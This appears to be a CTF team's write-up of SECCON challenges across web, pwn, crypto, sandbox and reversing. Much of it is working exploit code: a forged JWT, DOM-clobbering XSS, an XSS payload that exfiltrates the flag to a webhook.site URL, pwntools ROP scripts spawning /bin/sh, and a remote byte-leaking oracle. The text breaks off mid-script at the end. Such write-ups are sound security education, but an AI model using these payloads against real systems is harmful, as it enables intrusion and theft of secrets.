# Web
## Bad JWT
> _I think this JWT implementation is not bad._
### Understanding the challenge
The structure of this challenge is as follows:

The index file is the one where the application routes live while the jwt one is responsible for generating and verifying our tokens.
By analyzing index.js, we notice that the app will never generate a token for us, only verifying if our token is a valid admin one.

In the jwt.js file we can see some interesting functions:

### Exploiting the challenge
There is one problem with this piece of code, the fact that the algorithm functions are stored as a js object and accessed via property names, not existing any sort of validation for the property name.
This is a security concern since not only you can access the sha256 and sha512 properties of the algorithms object, but also other default object properties like \_\_proto\_\_, toString, constructor, etc.
This way, if we change our token's "typ" from sha256/sha512 to the value "constructor", we would be loading our object's constructor as the algorithm function, as illustrated here.


We can test passing 2 arguments to our constructor and we will get the the first argument back as a string:

And so, our signature is now simply equal to the data being encoded (as dot separated base64 since it is encoded back by `stringifyPart`).
**However**, there is still a catch, being it the fact that both the calculated and provided signatures get base64 decoded and only then compared.
This will make it so that any invalid base64 characters are stripped from the signature. If you remember, our signature crafted by calling constructor is a dot-separated base64 string. If we strip invalid characters (namely the dot), that would concatenate the 2 parts and result in just one base64 string.
Let's move to crafting our payload:
- For the header we need to input `{"typ":"JWT","alg":"constructor"}`
- For the data `{"isAdmin":true}`
- For the signature `{"typ":"JWT","alg":"constructor"}{"isAdmin":true}`
If we proceed to base64 encode these values and concatenate them with dots, we get:
```a
eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ
```
When we use it as our `session` cookie and visit the challenge webpage, we get the flag:

```a
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
```
## blink
> Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement <blink>.
Its obvious even from the challenge description that this is an XSS challenge.
```javascript=
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
await page.goto(url);
```
Focusing on the web server part we can see it just serves a static HTML page along with the challenge JavaScript.
First thing we notice is that our payload get processed by the JavaScript file in the _hash_ part of the URL.
```js=
const initialHtml = decodeURIComponent(location.hash.slice(1));
if (initialHtml) {
$("#html").value = initialHtml;
$("#render").click();
}
```
In turn the `$("#render").click();` takes our HTML and calls the `createBlink(html)` function on this input, signifying we should focus on it to find a bug.
```javascript=
const sandboxAttribute = [
"allow-downloads",
"allow-forms",
"allow-modals",
"allow-orientation-lock",
"allow-pointer-lock",
"allow-popups",
"allow-popups-to-escape-sandbox",
"allow-presentation",
"allow-same-origin",
// "allow-scripts", // disallow
"allow-top-navigation",
"allow-top-navigation-by-user-activation",
"allow-top-navigation-to-custom-protocols",
].join(" ");
const createBlink = async (html) => {
const sandbox = wrap(
$("#viewer").appendChild(document.createElement("iframe"))
);
// I believe it is impossible to escape this iframe sandbox...
sandbox.sandbox = sandboxAttribute;
sandbox.width = "100%";
sandbox.srcdoc = html;
await new Promise((resolve) => (sandbox.onload = resolve));
const target = wrap(sandbox.contentDocument.body);
target.popover = "manual";
const id = setInterval(target.togglePopover, 400);
return () => {
clearInterval(id);
sandbox.remove();
};
};
```
We can see the code creates a _srcdoc iframe_ and injects our HTML in it after setting all possible _sandbox_ attributes apart from script execution which would just allow us gain XSS directly since that frame is same origin.
After ignoring the sandbox comment and spending some time to actually escape the sandbox we decided to focus on the rest of the code that runs **after** our injection. In doing so we noticed `setInterval(target.togglePopover, 400)` function call.
It's not commonly known but those type of functions can also act as an `eval` when the first argument is a string. Thus being the perfect target to gain code execution on the parent.
In order to manipulate though the `togglePopover` property being _evaled_ we should first gain control over the `target` variable.
We notice that `target` is nothing more than a proxy to `sandbox.contentDocument.body`. We also know that `contentDocument` is a direct reference to the same HTML _document_ we can inject stuff into. Our exploitation path pretty clear already.
The missing link is how to trick the `body` property to return an object we control instead of the actual document body. [DOM-Clobbering](https://portswigger.net/research/dom-clobbering-strikes-back) comes to the rescue.
After some trial and error with various HTML elements we find one that perfectly serves our purpose.
```htmlembedded=
<iframe name="body" srcdoc="<a id=togglePopover href=lol:alert(1)></a>">
```
This causes `sandbox.contentDocument.body.togglePopover` to reference our anchor tag, which when casted to string it will return `lol:alert(1)`, valid JavaScript!


Finally instead of `alert` we can add a `fetch` payload to exfiltrate the flag back to our webhook.
```
FLAG=SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}
```
## SimpleCalc
> This is a simplest calculator app.
Similarly to the previous challenge the admin token was stored in an admin bot, but with the significant difference this time being that the admin cookie was marked as `httpOnly` meaning we can't simply read it from `document.cookie` and use it to read the flag.
```javascript=
const page = await context.newPage();
await page.setCookie({
name: 'token',
value: ADMIN_TOKEN,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
});
await page.goto(url, { timeout: 3 * 1000 });
await sleep(3 * 1000);
```
Instead the flag would be sent back to us if we acquire the admin token and pass a header to the dedicated `/flag` endpoint.
```javascript=
app.get('/flag', (req, res) => {
if (req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')) {
return res.send('No flag for you!');
}
return res.send(FLAG);
});
```
The only other important thing the server code enforced was a CSP header, on every request that was successfully handled by _Express_.
```javascript=
app.use((req, res, next) => {
const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
next();
});
```
This CSP header allows function calls to `eval` and only allows connections to the constructed `index.js` URL. Everything else was denied. We went deep into the rabbit hole of trying to make _Chrome_ use a crafted `Host:` header but simply at one point decided that was not possible.
Focusing now in the client JavaScript the only thing that run every time the page was loaded, was a small JavaScript snippet allowing us essentially free js execution.
```javascript=
const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();
```
Remember though our CSP header and the `/flag` endpoint, we can't possibly connect or request that endpoint while the CSP is active. So what do we do now?
It's clear at this point that we can't manipulate the `Host:` header and thus the CSP, nor can we leak the admin token to an attacker page as that would be a pretty critical _Chrome_ bug. Essentially CSP is what prevents us from accessing the flag, we need to find a way to disable it.
A pretty common technique in these cases is to find a page returned by the server, which contains another or no CSP. Error pages are ideal candidates for such a condition.
See for example the 404 page.

Even though the CSP has changed it's still no use to us as it's even stricter than the one before. We need something better.
After some trial and error we find such page!
Basically sending a very big request line _Node_ rejects the request and returns 431 without ever continuing to process the request in _Express_.

One might think, ok great but how can you use that page to execute JavaScript? The answer is our beloved _iframes_!
The exploitation path is as follows:
1) Having JavaScript execution in the parent, create an iframe.
2) Set the iframe source as `http://localhost:3000/js/index.js?${"A".repeat(20_000)}=a`
3) Iframe loads empty page since server returned an error, without CSP.
4) Since both frames are same origin from the parent we can access the child iframe and execute JavaScript inside it!
5) Execute `fetch("/flag")` and send it to our server.
Our payload then becomes:
```javascript=!
f=document.createElement("iframe");f.src=`http://localhost:3000/js/index.js?${"A".repeat(20_000)}=a`;f.onload=()=>{frames[0].eval(`fetch("/flag",{headers:{"X-Flag":1}}).then(r=>r.text()).then(r=>top.location="https://webhook.site/6885939e-4f6a-4f99-a160-ee1c2a7ccc56/?x="+r)`)};document.body.appendChild(f);
```
Success! (_unintended indeed_)
```
SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d}
```
# Pwn
## rop-2.35
```c=
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
```
There is an obvius stack overflow.
### Exploitation
The gadgets in the binary are limited, we can use
the return value (rax) of `gets` which is `buf`
and this gadget:
```c
.text:0000000000401169 mov rdi, rax
.text:000000000040116C call _system
```
to set rdi to `buf` in which we can write `/bin/sh`
we need also to pad our chain with 2 ret to align the stack
otherwise system will crash due to `movaps`.
```python=
#!/bin/env python3
from pwn import *
elf = context.binary = ELF("./chall")
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
io = None
convert = lambda x :x if type(x)==bytes else str(x).encode()
s = lambda data :io.send(convert(data))
sl = lambda data :io.sendline(convert(data))
sla = lambda delim,data :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout)
ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout)
r = lambda n :io.recv(n)
rl = lambda :io.recvline()
HOST, PORT = '10.10.10.10', 1337
gdbscript = '''
set follow-fork-mode parent
br *main+46
br *main+39
c
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gdbscript)
if args.REMOTE:
return remote(HOST, PORT)
else:
return process(elf.path)
io = start()
ret = 0x40101a
mov_rdi_rax = 0x401169
payload = b"/bin/sh\x00" * 3 + p64(ret)*2 + p64(mov_rdi_rax)
sl(payload)
io.interactive()
```
## selfcet
### Code Review
```c=
#define KEY_SIZE 0x20
typedef struct {
char key[KEY_SIZE];
char buf[KEY_SIZE];
const char *error;
int status;
void (*throw)(int, const char*, ...);
} ctx_t;
int main() {
ctx_t ctx = { .error = NULL, .status = 0, .throw = err };
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
encrypt(&ctx);
write(STDOUT_FILENO, ctx.buf, KEY_SIZE);
return 0;
```
main instantiates a ctx_t variable and sets its `throw` member to `glibc` function err
and then calls 2 times read_member on it with different offsets and size 88 (sizeof(ctx))
```c=
#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f) \
({ \
if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
__builtin_trap(); \
(f); \
})
...
void read_member(ctx_t *ctx, off_t offset, size_t size) {
if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
ctx->status = EXIT_FAILURE;
ctx->error = "I/O Error";
}
ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
if (ctx->status != 0)
CFI(ctx->throw)(ctx->status, ctx->error);
}
```
read_member calls read on a specific offset of the provided ctx with the given size (88)
then if `ctx->status` it not zero it passes `ctx->throw`, which is a function pointer, to
CFI and then calls it with `ctx->status: int` and `ctx->error: char*`
CFI fetches the first dword of where `ctx->throw` points to and compares it with `INSN_ENDBR64`.
If the first dword is not equal to `INSN_ENDBR64` it calls the GCC builtn function `__builtin_trap()`
which according to gcc docs:
> This function causes the program to exit abnormally. GCC implements this function by using a target-dependent mechanism (such as intentionally executing an illegal instruction) or by calling abort. The mechanism used may vary from release to release so you should not rely on any particular implementation.
in any other case it returns `f`.
In essence, the CFI macro checks if the address where `f` points to stores an `ENDBR64` instruction.
```c=
void encrypt(ctx_t *ctx) {
for (size_t i = 0; i < KEY_SIZE; i++)
ctx->buf[i] ^= ctx->key[i];
}
```
encrypt just preforms a xor operation between `ctx->key` and `ctx->buf`
### The Bug
`main()` calls 2 times read_member on `ctx->buf` and `ctx->key` respectively.
Each time the third argument (size) is `sizeof(ctx)` which evaluates to 88
meaning that `read_member()` will call `read(0, ctx->buf/key, 88)` leading
to a buffer overflow allowing us to corrupt the `ctx` struct and, thus the
`throw` member.
### Mitigations
```css=
[*] 'xor'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
```
PIE is not enabled meaning that we know where the binary is loaded in memory.
### Libc leak
We can use the overflow to point `throw` anywhere we want, but
we need to take into consideration
1) that it takes as arguments `(int status, char* error)`.
2) that `throw` is already populated with the libc function `err`.
3) that `throw` must point to the start of a libc function because of `CFI`
a great candidate is `void warn(const char *fmt);` because it resides at `-0x1c0` from err
> The warn() family of functions display a formatted error message on the standard error output. In all
cases, the last component of the program name, a colon character, and a space are output. **If the fmt argument is not NULL, the printf(3)-like formatted error message is output.** The output is terminated by a newline character.
so, by providing a `GOT` entry to warn as the first argument we can leak it.
To achieve that we need to preform a partial overwrite on throw using our buffer overflow.
```python=
io = start()
got_libc_start_main = 0x403fc8
s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0x4010))
ru(b"xor: ")
leak = u64(r(6).ljust(8, b"\x00"))
libc.address = leak - libc.sym.__libc_start_main
log.info(f"libc @ {hex(libc.address)}")
```
With that snippet we send to the first `read_member`: 64 A's filling the buf and key buffer then (qword) 0 for `char* error`, the address of the GOT entry `__libc_start_main` for status as it will be the first argument to `warn` and at the end 2 bytes to preform partial overwrite on `throw` member in order to point to `warn`.
_The partial overwrite is subject to ASLR meaning that it might not work each time._
### system(/bin/sh)
Now that we have a libc leak we could try to use the 2nd `read_member` call
to overwrite `throw` with `system`, the problem here is that the first arg
to `throw` is `int` meaning that the larget value we can store in it is `0x7fffffff`.
Thus, if we tried to call system(`/bin/sh`) the address of `/bin/sh` would get truncated (as it resides in glibc).
### Writing /bin/sh to .bss
We could overcome this problem by writing `/bin/sh` to `.bss` because an `address` in .bss fits to an int.
But, there is only one call to `read_member` remaining meaning that even if we write `/bin/sh` into .bss there isn't a way to call system with it afterwards.
What we had to do is find a way to restart the program by calling main again.
`main()` doesn't start with an `endbr64` instruction, so we need to find a gadget, probably in `glibc`, to call it.
After some searching and some binja fu we found a libc function `xdr_free` so we used that to call main again.

Now that we have another 2 `read_member` calls we can call `gets({address_in_bss})` to store `/bin/sh` into `.bss` and `system({address_in_bss})`.
### Exploit
```python=
#!/bin/env python3
from pwn import *
elf = context.binary = ELF("./xor", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
io = None
gdbscript = '''
break *main+71
br *main+93
b *read_member+185
c
'''
convert = lambda x :x if type(x)==bytes else str(x).encode()
s = lambda data :io.send(convert(data))
sl = lambda data :io.sendline(convert(data))
sla = lambda delim,data :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout)
ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout)
r = lambda n :io.recv(n)
rl = lambda :io.recvline()
HOST, PORT = 'selfcet.seccon.games', 9999
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gdbscript)
if args.REMOTE:
return remote(HOST, PORT)
else:
return process(elf.path)
io = start()
got_libc_start_main = 0x403fc8
s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0xd010))
ru(b"xor: ")
leak = u64(r(6).ljust(8, b"\x00"))
libc.address = leak - libc.sym.__libc_start_main
log.info(f"libc @ {hex(libc.address)}")
s(b"B"*0x28 + p64(elf.sym.main) + p64(libc.sym.xdr_free))
print("gets")
pause()
s(b"A"*0x48 + p64(elf.bss(0x100)) + p64(libc.sym.gets))
print("/bin/sh")
pause()
sl(b"/bin/sh\x00")
print("system")
pause()
s(b"B"*0x28 + p64(elf.bss(0x100)) + p64(libc.sym.system))
io.interactive()
```
# Crypto
## Increasing Entropoid
This challenge is quite similar to a challenge from the recent HXP CTF, where Panny had us break Sequoa. He describes the general attack idea here: https://eprint.iacr.org/2021/583.pdf). Panny shows a reduction to the finite field logarithm, for which quite effective means exists.
However, in the challenge we first get a bunch of debug DHKEs with very small parameters. But the final key exchange that is used to encrypt the flag is done using a 2048-bit prime, which is too big calculate the discrete logarithm for.
When we take a look at how private keys are generated, we notice that the challenges uses the notorious insecure default randrange from python.
```python=
def random_power_index(self, base: int) -> EntropoidPowerIndex:
size = ceil(log(self.p) / log(base))
a_num = Integer(randrange(1, self.p))
a = a_num.digits(base, padto=size)
pattern_num = Integer(randrange(0, (base - 1) ** size - 1))
pattern = pattern_num.digits(base - 1, padto=size)
return EntropoidPowerIndex(a=a, pattern=pattern, base=base)
```
If we can get enough output from the Mersenne Twister generator, we can predict the private key for the final key exchange. Entropoid operations are non-associative, therefore for exponentiation we also need a pattern that defines the order in which the operations take place. However, this pattern is not necessarily unique. Luckily we get enough debug DHKEs so we only need to obtain `a_num`. The benefit of a symbolic solver (like https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py) is that it can tolerate incomplete or missing output bits.
First we need recover `a_num` for each debug public key. We add the two homomorphism from the paper:
```python=
def sigma(self):
e = self.entropoid
return self.entropoid(e.c0 * self.x2 + e.c1, e.d0 * self.x1 + e.d1)
def iotta(self):
e = self.entropoid
return (e.b7 * self.x1 + (e.a3 * e.b7) / e.a8, e.a8 * self.x2 + (e.a8 * e.b2) / e.b7)
```
and do a simple logarithm over $\mathbb{F}_p$:
```python=
params_debug = EntropoidParams(
p=18446744073709550147,
a3=1,
a8=3,
b2=3,
b7=7,
)
E = Entropoid(params_debug)
g = E(13, 37)
def recover_i_plus_j(g, h):
g1, _ = (g * g).iotta()
h1, _ = (h * h).iotta()
return h1.log(g1)
a_list = [recover_i_plus_j(g, E(*pub)) for pub in public_keys]
```
Feeding the output into the symbolic Mersenne Twister solver:
```python=
ut = Untwister()
for i in range(0, 256):
alice_num, bob_num = a_list[i*2:(i+1)*2]
# randrange starts at 1
alice_num -= 1
o1 = alice_num % 2**32
o2 = alice_num >> 32
ut.submit("{:032b}".format(o1))
ut.submit("{:032b}".format(o2))
# account for missing pattern
ut.submit("?"*32)
ut.submit("?"*32)
bob_num -= 1
o1 = bob_num % 2**32
o2 = bob_num >> 32
ut.submit("{:032b}".format(o1))
ut.submit("{:032b}".format(o2))
# account for missing pattern, notice that we need 3 outputs here
ut.submit("?"*32)
ut.submit("?"*32)
ut.submit("?"*32)
r2 = ut.get_random()
```
Now we can predict Alice and Bobs private keys:
```python
alice_num = 27156911501094451998456105552189942749910298424380922213581063063192724134552979118125837103651745026611199598093720993258765644076186878925631877221878643332826901489201689587688242757917019431339029912661974115400446242429164128279622055245642145912845615626880344257278312790368077669068318349998160069507841107092306831480200213450345623062616494520912872022186595466831875895948567135774502601858163017215979075071743311019040322445730680282262739938917917609201912888209696429345572054477975759324042456661443772532385526176564607883482576214979735555229015645594948180240728728339161570200119527401240917778056
alice_pattern = 7532801011212829444152911165726283684632303818912963002460372412455175074727837715810475873301462640449625305503763750240019278592758756286506373108073370281336126047442348687110424176909483544319271562118457541606806845106189164689188402619143455045582830545416153985568324009054500147681614601453734049805733178454526290550638530514045741236312686620584075922725033830979772650165298758508806161313197482098182721306624585536392660737298877480507662427332130587002352455958432920581479879029923172511889691263956260805186101674191656143642986626242750924223971208293753318028347076893249148148540452115
bob_num = 19954455166295308008867968843936627094897219740394324490549685209573456122912867591911484758505458765563759028471246295174571948223622795181681454099014425203224676321866217483776409781627818374254518029793541196809591985061978361100611459554617838929511678523058295479645621197267835125231879021876998817905601602711115006898910048412284315332430453553537852648298715944064891907711536738823942966946781178188945115875232166200467858245476854399913011377072092226288146570280110702031030707622082930273032659853959218356055283324634957154904905380481576787349519523033189851202776224503893862960851384608961722662725
bob_pattern = 82180990971303860115727828522882492525102636860203873888809169329360033397273612798204107147057351121620882976393669475409906327397857440189866909279680345263658484134872656095983272866914341733420819565258859466043884860580350537473367905163999285070860313059854798967011327246050369346340257411666847774604733572741613089517230467089308676583437543157283976698715659310113159629461027935976736577508157940379131799185859885637281545449153822614236137316498067738483128363132720882880202081608031550671987954316466880047251879432684611967908609121944932387562172736414699330859095425761113173269531493389171874
```
And decrypt the flag:
`SECCON{The law of entropoid increase postulates the existence of irreversible processes in crypto: the bit numbers of a safe cryptosystem based on DELP can increase, but cannot decrease.}`
## plai_n_rsa
We were given a python script:
```python=
import os
from Crypto.Util.number import bytes_to_long, getPrime
flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)
print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")
```
After running it, this is the output we get:
```python
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
```
Since `d = pow(e, -1, phi)`, we can rewrite it as `d * e = k * phi + 1` or `phi = (d*e - 1)/k` with _0 < k <= e_.
From here, we can iterate through every value of k from 1 to e to retrieve the value of `phi`. With value of `phi` and `hint`, we can easily get the value of `n`.
### Exploit
```python=
#!/usr/bin/env python
from Crypto.Util.number import *
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
m = d * e
for k in range(1, e):
if (m - 1) % k != 0:
continue
phi = (m - 1) // k
n = phi + hint - 1
decrypt_cipher = long_to_bytes(pow(c, d, n))
if b"SECCON{" in decrypt_cipher:
print("Got flag: " + decrypt_cipher.decode())
```
Flag: `SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}`
## RSA 4.0
The ratio betwen the i, j, and k components of the quaternion does not change under exponentiation. Therefore we get a linear system that we can solve.
```python=
R = Zmod(n)
_, b, c, d = enc
K1 = b / c
K2 = b / d
K3 = c / d
C = matrix(R, [
[3 - 3*K1, 1 - 13*K1, 337 - 37*K1],
[3 - 7*K2, 1 - 133*K2, 337 - 7*K2],
[3 - 7*K3, 13 - 133*K3, 37 - 7*K3],
])
M = matrix(QQ, 6)
K = 2**4096
for i in range(3):
M[i,i] = 1 / K
M[i+3,i+3] = n
M[i,3] = ZZ(C[0, i])
M[i,4] = ZZ(C[1, i])
M[i,5] = ZZ(C[2, i])
for row in M.LLL():
m, p, q = [row[i] * K for i in range(3)]
if p * q == n:
print(long_to_bytes(int(-m)))
```
This yields: `SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}`
# Sandbox
## crabox
Description:
> 🦀 Compile-Time Sandbox Escape 🦀
>
>author: Ark
#### Challenge
Here is the source of the challenge:
```python=
import sys
import re
import os
import subprocess
import tempfile
FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")
TEMPLATE = """
fn main() {
{{YOUR_PROGRAM}}
/* Steal me: {{FLAG}} */
}
""".strip()
print("""
🦀 Compile-Time Sandbox Escape 🦀
Input your program (the last line must start with __EOF__):
""".strip(), flush=True)
program = ""
while True:
line = sys.stdin.readline()
if line.startswith("__EOF__"):
break
program += line
if len(program) > 512:
print("Your program is too long. Bye👋".strip())
exit(1)
source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)
with tempfile.NamedTemporaryFile(suffix=".rs") as file:
file.write(source.encode())
file.flush()
try:
proc = subprocess.run(
["rustc", file.name],
cwd="/tmp",
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2,
)
print(":)" if proc.returncode == 0 else ":(")
except subprocess.TimeoutExpired:
print("timeout")
```
We're provided with the service that can compile a given small Rust program. The flag is inserted as comment after our payload, and no compiler stdout/stderr is available.
### Idea
To exfiltrate flag, we can abuse a couple of Rust macros:
- `file!()` - get the current file name
- `include_bytes!(path)` - include file contents as bytes at compile time
We can define a variable of type `[u32; 1]` and initialize it with `[0; cond as usize]`. If `cond` is evaluated to true, it will succeed, otherwise an error about array size mismatch would be thrown.
### Solution
To minimize the number of requests, we're going to use binary search algorithm for each char. This way, it will only cost ~8 requests per char, instead of brute forcing the entire alphabet.
```python=!
from pwn import *
def try_letter(pos, val):
with remote('crabox.seccon.games', 1337, level='warn') as r:
exploit = f'''let _: [u32; 1] = [0; (include_bytes!(file!())[{pos:4}] > 0x{val:02x}) as usize];'''
r.recvuntil(b'Input your program (the last line must start with __EOF__):\n')
r.sendline(exploit.encode())
r.sendline(b'__EOF__')
return b':)' in r.recvall()
flag_start = 107
flag = 'SECCON{'
while not flag.endswith('}'):
low, high = 32, 125
while low < high:
mid = (high + low) // 2
print('trying', flag + chr(mid))
if try_letter(flag_start + len(flag), mid):
low = mid + 1
else:
high = mid
flag += chr(low)
print(flag)
```
And some requests later, the whole flag is spit out. `SECCON{ctfe_i5_p0w3rful}`
# Rev
## jumpout
Challenge handout:
- jumpout: ELF 64-bit LSB pie executable, x86-64, stripped
`jumpout` is a flag checker. The flag to be checked has to be provided on stdin.
Analysis of the binary in ghidra reveals that the flow of execution is broken up by several indirect jumps which do not depend on the input.
I executed the binary in a debugger to observe the control flow.
If the input is 29 bytes long, the following code is run:

When this code runs:
- Register `R12` contains a pointer to the input.
- Register `R13` points to some static data in the binary
As you can see, `check_byte` will be called for each input byte, taking the current loop index, stored in `RBX`, and the input byte at that index as arguments.
It's return value is then compared against the respective byte in the array found at `R13`. If all comparison succeed the program recognizes the input as correct.
`check_byte` itself decompiles to:

Only the `input_byte` for a given `input_idx` is unknown, so
the operations for checking a particular input byte are easily reversed to yield the flag:
```python
R13 = [246, 245, 49, 200, 129, 21, 20, 104, 246, 53, 229, 62, 130, 9, 202, 241,
138, 169, 223, 223, 51, 42, 109, 129, 245, 166, 133, 223, 23, 0]
DAT_00104010 = [240, 228, 37, 221, 159, 11, 60, 80, 222, 4, 202, 63, 175, 48, 243,
199, 170, 178, 253, 239, 23, 24, 87, 180, 208, 143, 184, 244, 35, 0]
flag = []
for i, byte in enumerate(R13):
flag.append(byte ^ 0x55 ^ i ^ DAT_00104010[i])
print(bytes(flag))
```
This recovers the flag `SECCON{jump_table_everywhere}`
## Optinimize
We're given a x86_64 Linux binary, which starts printing the flag, but gradually slows down into waiting forever. As the name suggests, we likely need to optimize it into doing it faster.
### Initial analysis
Throwing it into Ghidra immediately reveals `NimMainModule` called from `main`, which suggest it is written in `Nim` language. This is also hinted by the challenge name.
Ghidra doesn't support Nim's name demangling, so we can see a bunch of function names like `division__OOZOOZOOZOOZOnimbleZpkgs50Zbigints4549O48O4845505251524853aea53fa50f56575157aff5757d49c49515252ebce4954a56e54Zbigints_u1603` here and there.
This both gives us the idea that we're dealing with some big integer arithmetic, and requires to learn calling convention and struct layout for bigints, while renaming those functions to something adequate.
### bigint type and calling convention
Luckiy, Nim is open-source, so we can find `bigint` type [here](https://github.com/nim-lang/bigints/blob/master/src/bigints.nim#L8):
```nim=
type
BigInt* = object
## An arbitrary precision integer.
# Invariants for `a: BigInt`:
# * if `a` is non-zero: `a.limbs[a.limbs.high] != 0`
# * if `a` is zero: `a.limbs.len <= 1`
limbs: seq[uint32]
isNegative: bool
```
It inherits from `object` (so we're expecting some kind of preamble), then goes usual limbs array and sign flag:

Browsing some functions like bigint addition, we learn that result (mutable value) is passed as pointer in `rdi` register, while input bigint arguments are passed by value on stack. That way, we can assign proper function prototypes.
### main
Throwing away some junk assignments, `main` code is like this:
{%gist deltaclock/31e294867f968ab00b2dbf4db28810d0%}
So, for each iteration, it takes a number from `ns__main_u18`, constructs a bigint with its value, calls `Q__main_u13`, takes the result modulo 256, converts it to an integer, xors `cs__main_u19[i]` with it and prints result character. Obviously, `Q__main_u13` is the main culprit of slowing down, so we need to look into it.
### Q__main_u13
{%gist deltaclock/bbc3bb8b44790bbfcab45c7701dbcc0d%}
Equivalent python code:
```python=
def Q__main_u13(n):
i, accum = 0, 0
while i < n:
accum += 1
p = P__main_u4(accum)
if p % accum == 0:
i += 1
return accum
```
### P__main_u4
{%gist deltaclock/463897eb8fa93d4a68f95d56c4bb0503%}
And equivalent python code would be:
```python=
def P__main_u4(x):
a, b, c = 3, 0, 2
if x == 0:
return a
if x == 1:
return b
while x > 2:
a, b, c = b, c, a + b
x -= 1
return c
```
### Solving
Now that we know what functions do, let's try to understand what' going on.
Generating several few elements of `P__main_u4` gives us sequence `3, 0, 2, 3, 2, 5, 5, 7, 10, 12, 17, 22, 29, 39, ...`. Quick googling shows that it is the [Perrin sequnce](https://en.wikipedia.org/wiki/Perrin_number).
It has a property that `n|p(n)` for all primes. We can see that it is exacly what `Q__main_u13` is checking, so can conclude that it returns `n`-th Perrin prime.
But need to note that this test includes some [pseudoprimes](https://oeis.org/A013998) too, so we need to account for those.
Here is the solver script:
```python=
import gmpy2
